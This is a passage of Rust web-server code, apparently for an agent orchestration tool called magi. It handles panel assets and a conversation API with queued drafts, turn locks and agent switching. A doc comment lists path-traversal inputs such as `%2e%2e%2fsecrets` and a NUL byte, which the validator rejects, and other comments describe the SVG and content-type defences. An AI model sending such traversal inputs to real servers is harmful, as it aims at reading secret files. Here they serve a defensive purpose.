5274///   slash makes the request too long for the route and the router answers 404.
5275/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
5276///   percent-decodes path parameters, so `name` arrives as `../secrets` and
5277///   `..\secrets` respectively, which look like plain filenames to the router.
5278///   The validator refuses them here - both for the literal `..` and because
5279///   `/` and `\` are not in the permitted character set - and answers 400.
5280/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
5281///   the platform's path API is not, and it is refused here for the same
5282///   reason: NUL is not a permitted character.
5283/// * [`Questions::panel_asset`] validates again on read, so the check is not
5284///   load-bearing in only one place. This route's own check exists so the
5285///   failure is a 400 that says which name was wrong, rather than a store error
5286///   the operator has to interpret.
5287async fn question_asset(
5288    State(ui): State<Arc<Ui>>,
5289    Path((id, name)): Path<(String, String)>,
5290) -> ApiResult<Response> {
5291    // Before any filesystem work and before any path is built: a name this
5292    // server will not serve should not become a `PathBuf` at all.
5293    if !crate::ask::valid_asset_name(&name) {
5294        return Err(ApiError::bad_request(format!(
5295            "`{name}` is not a usable asset name"
5296        )));
5297    }
5298    blocking(move || {
5299        let id = resolve_question(&ui.questions, &id)?;
5300        let asset = ui
5301            .questions
5302            .panel_asset(&id, &name)
5303            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5304        let Some(bytes) = asset else {
5305            return Err(ApiError::not_found(format!(
5306                "question {id} has no asset `{name}`"
5307            )));
5308        };
5309        Ok(panel_response(
5310            asset_content_type(&name),
5311            is_svg(&name),
5312            bytes,
5313        ))
5314    })
5315    .await
5316}
5317
5318/// Content type for a panel asset, from a closed whitelist.
5319///
5320/// A whitelist with an `application/octet-stream` fallback rather than a
5321/// guess, because the one answer that must never come out of here is
5322/// `text/html`. An agent that writes `notes.html` into its panel directory and
5323/// links it would otherwise get its own markup rendered at the top level of the
5324/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
5325/// magi's origin - which is precisely the thing the panel design exists to
5326/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
5327///
5328/// `nosniff` accompanies this on every response, so a browser cannot decide it
5329/// knows better than the type we sent.
5330fn asset_content_type(name: &str) -> &'static str {
5331    match extension(name).as_deref() {
5332        Some("png") => "image/png",
5333        Some("jpg" | "jpeg") => "image/jpeg",
5334        Some("gif") => "image/gif",
5335        Some("webp") => "image/webp",
5336        Some("svg") => "image/svg+xml",
5337        Some("css") => "text/css; charset=utf-8",
5338        Some("txt") => "text/plain; charset=utf-8",
5339        _ => "application/octet-stream",
5340    }
5341}
5342
5343/// Is this an SVG, and therefore a file that must never be opened at the top
5344/// level?
5345fn is_svg(name: &str) -> bool {
5346    extension(name).as_deref() == Some("svg")
5347}
5348
5349/// Lowercased extension, or `None` for a name without one.
5350fn extension(name: &str) -> Option<String> {
5351    name.rsplit_once('.')
5352        .map(|(_, ext)| ext.to_ascii_lowercase())
5353}
5354
5355/// Every panel response, with the four headers that make it safe and, for an
5356/// SVG, a fifth.
5357///
5358/// One function rather than a header list per handler, because a panel route
5359/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
5360/// model gone, silently, on one of two routes. Adding a third panel route later
5361/// means calling this, and there is nowhere else to build a panel response.
5362///
5363/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
5364/// as an `<img src>` inside the panel that script cannot run - but the asset
5365/// URL is also a plain URL an operator can be talked into opening in a tab,
5366/// where it is a document on magi's own origin. `Content-Disposition:
5367/// attachment` makes the browser download it instead of rendering it, which
5368/// closes that door without taking away the ability to draw a diff. Raster
5369/// images have no such execution surface and are left inline, so tapping a
5370/// screenshot still shows it.
5371fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5372    let mut res = (
5373        [
5374            (header::CONTENT_TYPE, content_type),
5375            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5376            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5377            (header::REFERRER_POLICY, "no-referrer"),
5378        ],
5379        body,
5380    )
5381        .into_response();
5382    if download {
5383        res.headers_mut().insert(
5384            header::CONTENT_DISPOSITION,
5385            HeaderValue::from_static("attachment"),
5386        );
5387    }
5388    res
5389}
5390
5391/// A talk as the phone reads it.
5392///
5393/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
5394/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
5395/// parses markdown itself - and the process-local `thinking` hint.
5396#[derive(Debug, Serialize)]
5397struct TalkView {
5398    #[serde(flatten)]
5399    talk: Talk,
5400    turn_bodies_md: Vec<Vec<md::Node>>,
5401    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
5402    /// this server process.
5403    ///
5404    /// This is deliberately not durable: another server process cannot see
5405    /// it, and a restarted server must not claim an old turn is live. It is a
5406    /// progress hint rather than proof a reply landed; the transcript remains
5407    /// the source of truth for that.
5408    thinking: bool,
5409    /// Context-window usage, derived per request - see
5410    /// [`talk::context_usage`]. Carried on every talk response (list, detail
5411    /// and each mutation) so the phone needs no extra call or polling.
5412    context: talk::ContextUsage,
5413}
5414
5415impl TalkView {
5416    /// Reads the talk's repository config itself; a config that cannot be
5417    /// read leaves the window unknown but never fails the conversation.
5418    fn new(talk: Talk, thinking: bool) -> Self {
5419        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5420        Self::with_config(talk, thinking, cfg.as_ref())
5421    }
5422
5423    /// As [`Self::new`], with the config already in hand (the list reads one
5424    /// per repository, not one per conversation).
5425    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5426        let context = talk::context_usage(&talk, cfg);
5427        let turn_bodies_md = talk
5428            .turns
5429            .iter()
5430            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5431            .collect();
5432        Self {
5433            turn_bodies_md,
5434            thinking,
5435            context,
5436            talk,
5437        }
5438    }
5439}
5440
5441/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
5442/// conversation has filed, so the phone can follow one from inside the
5443/// conversation that asked for it rather than hunting the Queue for a task id
5444/// it may not remember.
5445#[derive(Debug, Serialize)]
5446struct TalkDetailView {
5447    #[serde(flatten)]
5448    view: TalkView,
5449    tasks: Vec<TaskView>,
5450    /// The agents this talk's repository can switch to; empty when its
5451    /// configuration cannot be read, which must not fail the whole detail.
5452    roster: Vec<RosterEntry>,
5453}
5454
5455/// One roster agent as the talk's agent selector shows it.
5456#[derive(Debug, Serialize)]
5457struct RosterEntry {
5458    id: String,
5459    kind: AgentKind,
5460    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
5461    runnable: bool,
5462}
5463
5464/// `GET /api/talks`.
5465///
5466/// Every conversation, open ones first and newest first - [`Talks::list`]'s
5467/// own order.
5468async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
5469    blocking(move || {
5470        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5471        Ok(Json(
5472            ui.talks
5473                .list()
5474                .into_iter()
5475                .map(|talk| {
5476                    let thinking = ui.is_thinking(&talk.id);
5477                    let cfg = configs
5478                        .entry(talk.repo.clone())
5479                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5480                    TalkView::with_config(talk, thinking, cfg.as_ref())
5481                })
5482                .collect(),
5483        ))
5484    })
5485    .await
5486}
5487
5488/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
5489/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
5490/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
5491/// end still opens a talk against an older binary.
5492#[derive(Debug, Default, Deserialize)]
5493#[serde(default)]
5494struct NewTalk {
5495    agent: Option<String>,
5496    repo: Option<PathBuf>,
5497}
5498
5499/// `POST /api/talks` - open a conversation. Takes no agent turn: see
5500/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
5501async fn talk_post(
5502    State(ui): State<Arc<Ui>>,
5503    body: std::result::Result<Json<NewTalk>, JsonRejection>,
5504) -> ApiResult<impl IntoResponse> {
5505    // An absent body, or an empty one, is the normal way to open a talk - see
5506    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
5507    // rather than refused.
5508    let body = match body {
5509        Ok(Json(body)) => body,
5510        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5511        Err(e) => return Err(ApiError::bad_request(e.body_text())),
5512    };
5513    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
5514    let cfg = config_for(&repo).await?;
5515    let view = blocking(move || {
5516        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
5517        let thinking = ui.is_thinking(&talk.id);
5518        Ok(TalkView::new(talk, thinking))
5519    })
5520    .await?;
5521    Ok((StatusCode::CREATED, Json(view)))
5522}
5523
5524/// `GET /api/talks/{id}`.
5525async fn talk_detail(
5526    State(ui): State<Arc<Ui>>,
5527    Path(id): Path<String>,
5528) -> ApiResult<Json<TalkDetailView>> {
5529    blocking(move || {
5530        let id = resolve_talk(&ui.talks, &id)?;
5531        let talk = ui.talks.get(&id)?;
5532        let thinking = ui.is_thinking(&talk.id);
5533        let tasks = talk::tasks_of(&ui.queue, &talk.id)
5534            .into_iter()
5535            .map(TaskView::from)
5536            .collect();
5537        let roster = Config::discover(&talk.repo, None)
5538            .map(|(cfg, _)| {
5539                cfg.agents
5540                    .iter()
5541                    .map(|a| RosterEntry {
5542                        id: a.id.clone(),
5543                        kind: a.kind,
5544                        runnable: agent::installed(a),
5545                    })
5546                    .collect()
5547            })
5548            .unwrap_or_default();
5549        Ok(Json(TalkDetailView {
5550            view: TalkView::new(talk, thinking),
5551            tasks,
5552            roster,
5553        }))
5554    })
5555    .await
5556}
5557
5558/// The body of `POST /api/talks/{id}/say`.
5559///
5560/// `attachments` names ids `POST /api/talks/{id}/attachments` already
5561/// returned - never bytes of its own - so a turn with no images just omits
5562/// the field, which is what an older front end still does.
5563#[derive(Debug, Default, Deserialize)]
5564#[serde(default, deny_unknown_fields)]
5565struct NewTalkTurn {
5566    text: String,
5567    attachments: Vec<String>,
5568}
5569
5570#[derive(Debug, Deserialize)]
5571#[serde(deny_unknown_fields)]
5572struct EditTalkPending {
5573    text: String,
5574    expected_text: String,
5575    expected_attachments: Vec<String>,
5576}
5577
5578#[derive(Debug, Deserialize)]
5579#[serde(deny_unknown_fields)]
5580struct ClearTalkPending {
5581    expected_text: String,
5582    expected_attachments: Vec<String>,
5583}
5584
5585/// `POST /api/talks/{id}/say` - one turn of the conversation.
5586///
5587/// Not filesystem work, and therefore not routed through [`blocking`]: this
5588/// route spawns an agent CLI and a turn here can run for the whole of
5589/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
5590/// research turn is expected to run commands rather than answer from what it
5591/// already knows. Holding an HTTP connection open that long is not a thing
5592/// to ask a phone to do; the operator's message is recorded and answered for
5593/// immediately, and the reply lands in the background, discovered through
5594/// the change stream's `talks_rev` the same way every other update on this
5595/// surface is.
5596async fn talk_say(
5597    State(ui): State<Arc<Ui>>,
5598    Path(id): Path<String>,
5599    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
5600) -> ApiResult<(StatusCode, Json<TalkView>)> {
5601    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5602    if body.text.trim().is_empty() && body.attachments.is_empty() {
5603        return Err(ApiError::bad_request("say something"));
5604    }
5605
5606    let id = {
5607        let ui = Arc::clone(&ui);
5608        let asked = id.clone();
5609        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5610    };
5611    // A closed Talk never accepts a new immediate or queued turn. Check this
5612    // before claiming a slot so its ordinary domain refusal is a 409, not an
5613    // incidental failure from the later record/queue write.
5614    {
5615        let ui = Arc::clone(&ui);
5616        let id = id.clone();
5617        blocking(move || {
5618            let talk = ui.talks.get(&id)?;
5619            if !talk.status.open() {
5620                return Err(ApiError::conflict(format!(
5621                    "talk {} is {} and takes no more turns",
5622                    talk.short(),
5623                    talk.status.as_str()
5624                )));
5625            }
5626            Ok(())
5627        })
5628        .await?;
5629    }
5630
5631    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
5632    // actually stores, before anything is written - an unknown id is a 4xx
5633    // that names it rather than a turn (or a queued draft) silently missing
5634    // an image.
5635    let attachments = {
5636        let ui = Arc::clone(&ui);
5637        let id = id.clone();
5638        let ids = body.attachments.clone();
5639        blocking(move || {
5640            ids.into_iter()
5641                .map(|att_id| {
5642                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
5643                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
5644                    })
5645                })
5646                .collect::<ApiResult<Vec<talk::Attachment>>>()
5647        })
5648        .await?
5649    };
5650
5651    // Pending recovery and a new immediate turn are decided under the same
5652    // claim lock. Without that one critical section, a second `/say` can see
5653    // the first request's claim as "busy" and append itself to the recovered
5654    // draft before the first request rejects it.
5655    let start = {
5656        let ui = Arc::clone(&ui);
5657        let id = id.clone();
5658        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
5659    };
5660    let turn_guard = match start {
5661        TalkTurnStart::Claimed(turn_guard) => turn_guard,
5662        TalkTurnStart::Pending => {
5663            return Err(ApiError::conflict(
5664                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
5665            ));
5666        }
5667        TalkTurnStart::Busy => {
5668            // A turn is already running: queue rather than refuse. See
5669            // `Ui::begin_talk_turn` and `talk::queue`.
5670            //
5671            // The queue write and the drain it may owe live inside the task
5672            // `tokio::spawn` hands to the runtime, for the same reason the
5673            // immediate path below puts `record` there: a dropped handler
5674            // future must not be able to land between a durable write and
5675            // the task that answers it. `blocking` runs its closure on
5676            // `spawn_blocking`, which finishes whether or not anyone is left
5677            // to receive its result - so a disconnect at the `.await` below
5678            // would otherwise leave the draft persisted and the reclaimed
5679            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
5680            // ever started and the queued text stranded until some later
5681            // `say` happened to pick it up. The caller's 202 travels back
5682            // over a `oneshot`, sent the moment the write lands.
5683            let (tx, rx) = tokio::sync::oneshot::channel();
5684            tokio::spawn({
5685                let ui = Arc::clone(&ui);
5686                let id = id.clone();
5687                let said = body.text.clone();
5688                async move {
5689                    let written = blocking({
5690                        let ui = Arc::clone(&ui);
5691                        let id = id.clone();
5692                        move || {
5693                            let mut talk = ui.talks.get(&id)?;
5694                            // A test-only stop point, right before the write
5695                            // an interleaving test needs to pin - see
5696                            // `BusyQueueGate`. `None` in every real server:
5697                            // the field only exists under `#[cfg(test)]`.
5698                            #[cfg(test)]
5699                            if let Some(gate) = ui
5700                                .busy_queue_gate
5701                                .lock()
5702                                .unwrap_or_else(PoisonError::into_inner)
5703                                .take()
5704                            {
5705                                let _ = gate.reached.send(());
5706                                let _ = gate.release.recv();
5707                            }
5708                            if let Err(error) =
5709                                talk::queue(&mut talk, &ui.talks, &said, attachments)
5710                            {
5711                                if let Ok(fresh) = ui.talks.get(&id) {
5712                                    if !fresh.status.open() {
5713                                        return Err(ApiError::conflict(format!(
5714                                            "talk {} is {} and takes no more turns",
5715                                            fresh.short(),
5716                                            fresh.status.as_str()
5717                                        )));
5718                                    }
5719                                }
5720                                return Err(ApiError::from(error));
5721                            }
5722                            // The turn that looked busy a moment ago can have
5723                            // finished, found nothing to drain and given up the
5724                            // slot in the gap between that check and this write
5725                            // landing - see `drain_loop`'s own doc for the other
5726                            // half of why that gap would otherwise be able to
5727                            // open at all. Reclaiming the slot here, rather than
5728                            // trusting that whoever held it is still watching, is
5729                            // what stops the text just queued from being stranded
5730                            // until an unrelated future `say` happens to drain
5731                            // it.
5732                            let claim = match ui.begin_queued_talk_turn(&id)? {
5733                                Some(turn_guard) => {
5734                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
5735                                    Some((talk.clone(), cfg, turn_guard))
5736                                }
5737                                None => None,
5738                            };
5739                            let thinking = ui.is_thinking(&id);
5740                            Ok((TalkView::new(talk, thinking), claim))
5741                        }
5742                    })
5743                    .await;
5744                    let (view, reclaimed) = match written {
5745                        Ok(pair) => pair,
5746                        Err(e) => {
5747                            // Nobody is listening if the handler's own future
5748                            // was already dropped - that is fine, nothing was
5749                            // persisted and there is no response left to carry
5750                            // this error to.
5751                            let _ = tx.send(Err(e));
5752                            return;
5753                        }
5754                    };
5755                    // If this fails, the caller is gone; the drain below still
5756                    // runs exactly as it would have for a caller that stayed.
5757                    let _ = tx.send(Ok(view));
5758                    if let Some((talk, cfg, turn_guard)) = reclaimed {
5759                        let talks = ui.talks.clone();
5760                        drain_loop(talk, talks, cfg, id, turn_guard).await;
5761                    }
5762                }
5763            });
5764            let view = rx
5765                .await
5766                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5767            return Ok((StatusCode::ACCEPTED, Json(view)));
5768        }
5769    };
5770
5771    let (talk, cfg) = {
5772        let ui = Arc::clone(&ui);
5773        let id = id.clone();
5774        blocking(move || {
5775            let talk = ui.talks.get(&id)?;
5776            let (cfg, _) = Config::discover(&talk.repo, None)?;
5777            Ok((talk, cfg))
5778        })
5779        .await?
5780    };
5781
5782    let talks = ui.talks.clone();
5783    // `record` runs *inside* the spawned task, rather than in this handler
5784    // followed by a separate `tokio::spawn` for `respond` - axum drops this
5785    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
5786    // doc), and that drop can land at any `.await` this function makes,
5787    // including one that has already produced its result but not yet
5788    // resumed. A message could end up recorded on disk with the handler
5789    // future gone before it ever reached the `tokio::spawn` that would have
5790    // started the reply. `tokio::spawn` itself is a plain, synchronous call
5791    // that hands the whole future to the runtime as one unit - once made, no
5792    // later drop of *this* handler's own future (that call's return value is
5793    // never held onto here) can reach back in and stop it, so record and the
5794    // hand-off to `respond` are unconditionally atomic from the client's
5795    // point of view. The immediate response this handler owes the caller
5796    // travels back over a `oneshot`, sent the moment `record` succeeds.
5797    let (tx, rx) = tokio::sync::oneshot::channel();
5798    tokio::spawn({
5799        let ui = Arc::clone(&ui);
5800        let talks = talks.clone();
5801        let id = id.clone();
5802        let said = body.text.clone();
5803        let mut talk = talk.clone();
5804        async move {
5805            let recorded = blocking({
5806                let talks = talks.clone();
5807                move || {
5808                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
5809                        if let Ok(fresh) = talks.get(&talk.id) {
5810                            if !fresh.status.open() {
5811                                return Err(ApiError::conflict(format!(
5812                                    "talk {} is {} and takes no more turns",
5813                                    fresh.short(),
5814                                    fresh.status.as_str()
5815                                )));
5816                            }
5817                        }
5818                        return Err(ApiError::from(error));
5819                    }
5820                    // `record` mutates `talk` in place to the freshly persisted
5821                    // state (status, pending, and the just-appended operator
5822                    // turn), so returning it here is equivalent to re-reading it
5823                    // from disk - without the extra round trip a re-read would
5824                    // need.
5825                    Ok((said.trim().to_owned(), talk))
5826                }
5827            })
5828            .await;
5829            let (text, mut talk) = match recorded {
5830                Ok(pair) => pair,
5831                Err(e) => {
5832                    // Nobody is listening if the handler's own future was
5833                    // already dropped - that is fine, there is no response
5834                    // left to carry this error to and nothing was persisted.
5835                    let _ = tx.send(Err(e));
5836                    return;
5837                }
5838            };
5839            let queued = talk.clone();
5840            let thinking = ui.is_thinking(&id);
5841            // If this fails, the caller is gone; the turn still runs below
5842            // exactly as it would have for a caller that stayed connected.
5843            let _ = tx.send(Ok((queued, thinking)));
5844
5845            if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
5846                // `respond` records the failure in the transcript itself,
5847                // which is what the phone reads; this line is for the
5848                // operator's terminal.
5849                tracing::warn!("talk {id} turn failed: {e:#}");
5850            }
5851            // Anything `talk::queue` added while the turn above was running
5852            // is still owed an answer - see `drain_loop`.
5853            drain_loop(talk, talks, cfg, id, turn_guard).await;
5854        }
5855    });
5856
5857    let (queued, thinking) = rx
5858        .await
5859        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
5860
5861    // 202: the operator's message is recorded and a turn is running.
5862    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
5863}
5864
5865/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
5866/// changing it. The turn guard is the same per-talk ownership `talk_say`
5867/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
5868async fn talk_pending_resume(
5869    State(ui): State<Arc<Ui>>,
5870    Path(id): Path<String>,
5871) -> ApiResult<(StatusCode, Json<TalkView>)> {
5872    let id = {
5873        let ui = Arc::clone(&ui);
5874        let asked = id.clone();
5875        blocking(move || resolve_talk(&ui.talks, &asked)).await?
5876    };
5877    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
5878        return Err(ApiError::conflict(
5879            "a talk turn is already running; the queued draft will be handled by it",
5880        ));
5881    };
5882    let (talk, cfg) = {
5883        let ui = Arc::clone(&ui);
5884        let id = id.clone();
5885        blocking(move || {
5886            let talk = ui.talks.get(&id)?;
5887            if !talk.status.open() {
5888                return Err(ApiError::conflict(format!(
5889                    "talk {} is {} and takes no more turns",
5890                    talk.short(),
5891                    talk.status.as_str()
5892                )));
5893            }
5894            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
5895                return Err(ApiError::conflict("there is no queued draft to resume"));
5896            }
5897            let (cfg, _) = Config::discover(&talk.repo, None)?;
5898            Ok((talk, cfg))
5899        })
5900        .await?
5901    };
5902    let view = TalkView::new(talk.clone(), true);
5903    let talks = ui.talks.clone();
5904    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
5905    Ok((StatusCode::ACCEPTED, Json(view)))
5906}
5907
5908/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
5909/// releasing `turn` only once a check finds it truly empty. Shared by both
5910/// callers that can end up owning a talk's turn slot with something already
5911/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
5912/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
5913/// holder just gave up - see the comment at that call site.
5914///
5915/// The release is folded into the final generation check under `turn`'s own
5916/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
5917/// free". Before its blocking `talk::drain`, this loop observes the queued
5918/// generation. A `say` that sees the turn busy writes its draft, then advances
5919/// that generation. Thus, if it lands while the drain is in flight, the final
5920/// check observes the advance and drains again; otherwise it releases the
5921/// claim while holding the same lock. This keeps the release/arrival handoff
5922/// atomic without holding the global claim mutex across filesystem I/O.
5923async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
5924    let live_set = Arc::clone(&turn.turns);
5925    // `Option` rather than binding `turn` directly to a `_turn` that lives
5926    // for the whole function: releasing it has to happen by calling
5927    // `TalkTurnGuard::release` from inside the locked branch below, which
5928    // takes `self` by value. Left as a plain drop instead, `Drop` would still
5929    // remove the id - correctly, if this loop is ever left some other way -
5930    // but doing it there misses the lock this loop is already holding, which
5931    // is the exact gap `release` exists to close.
5932    let mut turn = Some(turn);
5933    loop {
5934        // `talk::drain` takes the store lock and can write/rename the talk
5935        // file. Keep the turn mutex out of that synchronous work: it protects
5936        // every talk's in-memory claim, not this talk's disk operation.
5937        let observed = live_set
5938            .lock()
5939            .unwrap_or_else(PoisonError::into_inner)
5940            .queued
5941            .get(&id)
5942            .copied()
5943            .unwrap_or(0);
5944        let drained = blocking({
5945            let talks = talks.clone();
5946            move || {
5947                let result = talk::drain(&mut talk, &talks);
5948                Ok((talk, result))
5949            }
5950        })
5951        .await;
5952        let (next_talk, result) = match drained {
5953            Ok(drained) => drained,
5954            Err(e) => {
5955                tracing::warn!(
5956                    status = %e.status,
5957                    message = %e.message,
5958                    "talk {id} could not start queued-text drain"
5959                );
5960                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5961                turn.take()
5962                    .expect("held for the whole loop until released here")
5963                    .release(&mut live);
5964                break;
5965            }
5966        };
5967        talk = next_talk;
5968        let drained = match result {
5969            Ok(Some(drained)) => drained,
5970            Ok(None) => {
5971                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5972                if live.queued.get(&id).copied().unwrap_or(0) != observed {
5973                    continue;
5974                }
5975                turn.take()
5976                    .expect("held for the whole loop until released here")
5977                    .release(&mut live);
5978                break;
5979            }
5980            Err(e) => {
5981                tracing::warn!("talk {id} could not drain queued text: {e:#}");
5982                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
5983                turn.take()
5984                    .expect("held for the whole loop until released here")
5985                    .release(&mut live);
5986                break;
5987            }
5988        };
5989        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &drained).await {
5990            tracing::warn!("talk {id} turn failed: {e:#}");
5991        }
5992    }
5993}
5994
5995/// Clear a queued draft only if it remains exactly the one the caller saw.
5996async fn talk_pending_clear(
5997    State(ui): State<Arc<Ui>>,
5998    Path(id): Path<String>,
5999    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6000) -> ApiResult<Json<TalkView>> {
6001    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6002    blocking(move || {
6003        let id = resolve_talk(&ui.talks, &id)?;
6004        let mut talk = ui.talks.get(&id)?;
6005        if !talk.status.open() {
6006            return Err(ApiError::conflict(format!(
6007                "talk {} is {} and takes no more turns",
6008                talk.short(),
6009                talk.status.as_str()
6010            )));
6011        }
6012        if !talk::clear_pending_if_matches(
6013            &mut talk,
6014            &ui.talks,
6015            &body.expected_text,
6016            &body.expected_attachments,
6017        )? {
6018            return Err(ApiError::conflict(
6019                "queued message changed; reload it before clearing",
6020            ));
6021        }
6022        let thinking = ui.is_thinking(&talk.id);
6023        Ok(Json(TalkView::new(talk, thinking)))
6024    })
6025    .await
6026}
6027
6028/// Atomically edit a queued draft's text while preserving its attachments.
6029/// The snapshot fields make a concurrent queue or drain a conflict rather
6030/// than silently discarding either message.
6031async fn talk_pending_edit(
6032    State(ui): State<Arc<Ui>>,
6033    Path(id): Path<String>,
6034    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6035) -> ApiResult<Json<TalkView>> {
6036    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6037    let (view, reclaimed) = blocking({
6038        let ui = Arc::clone(&ui);
6039        move || {
6040            let id = resolve_talk(&ui.talks, &id)?;
6041            let mut talk = ui.talks.get(&id)?;
6042            if !talk.status.open() {
6043                return Err(ApiError::conflict(format!(
6044                    "talk {} is {} and takes no more turns",
6045                    talk.short(),
6046                    talk.status.as_str()
6047                )));
6048            }
6049            if !talk::edit_pending_text(
6050                &mut talk,
6051                &ui.talks,
6052                &body.text,
6053                &body.expected_text,
6054                &body.expected_attachments,
6055            )? {
6056                return Err(ApiError::conflict(
6057                    "queued message changed; reload it before editing",
6058                ));
6059            }
6060            let claim = match ui.begin_queued_talk_turn(&id)? {
6061                Some(turn_guard) => {
6062                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6063                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6064                }
6065                None => None,
6066            };
6067            let thinking = ui.is_thinking(&id);
6068            Ok((TalkView::new(talk, thinking), claim))
6069        }
6070    })
6071    .await?;
6072    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6073        let talks = ui.talks.clone();
6074        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6075    }
6076    Ok(Json(view))
6077}
6078
6079/// The body of `POST /api/talks/{id}/agent`.
6080#[derive(Debug, Deserialize)]
6081struct TalkAgent {
6082    agent: String,
6083}
6084
6085/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6086/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6087/// start a turn on the old session between the check and the write; one that
6088/// arrives in that window finds the talk busy and becomes a draft.
6089async fn talk_agent(
6090    State(ui): State<Arc<Ui>>,
6091    Path(id): Path<String>,
6092    Json(body): Json<TalkAgent>,
6093) -> ApiResult<Json<TalkView>> {
6094    let id = {
6095        let ui = Arc::clone(&ui);
6096        blocking(move || resolve_talk(&ui.talks, &id)).await?
6097    };
6098    let repo = {
6099        let ui = Arc::clone(&ui);
6100        let id = id.clone();
6101        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6102    };
6103    let cfg = config_for(&repo).await?;
6104    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6105        return Err(ApiError::conflict(
6106            "a talk turn is running; change the agent once it has answered",
6107        ));
6108    };
6109    let switched = {
6110        let ui = Arc::clone(&ui);
6111        let id = id.clone();
6112        let cfg = cfg.clone();
6113        blocking(move || {
6114            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6115                .map_err(ApiError::bad_request_from)?;
6116            let mut talk = ui.talks.get(&id)?;
6117            if !talk.status.open() {
6118                return Err(ApiError::conflict(format!(
6119                    "talk {} is {} and takes no more turns",
6120                    talk.short(),
6121                    talk.status.as_str()
6122                )));
6123            }
6124            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6125            Ok(talk)
6126        })
6127        .await
6128    };
6129    // A `/say` that landed while this held the claim saw the talk busy and
6130    // left a durable draft, trusting the claim's owner to drain it. So the
6131    // claim goes to `drain_loop` whatever the outcome - it releases at once
6132    // when nothing is queued - rather than being dropped here.
6133    let fresh = {
6134        let ui = Arc::clone(&ui);
6135        let id = id.clone();
6136        blocking(move || Ok(ui.talks.get(&id)?)).await
6137    };
6138    let draining = match fresh {
6139        Ok(talk) => {
6140            let draining = talk.status.open()
6141                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6142            let talks = ui.talks.clone();
6143            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6144            draining
6145        }
6146        Err(_) => false,
6147    };
6148    let talk = switched?;
6149    Ok(Json(TalkView::new(talk, draining)))
6150}
6151
6152/// `POST /api/talks/{id}/close`.
6153async fn talk_close(
6154    State(ui): State<Arc<Ui>>,
6155    Path(id): Path<String>,
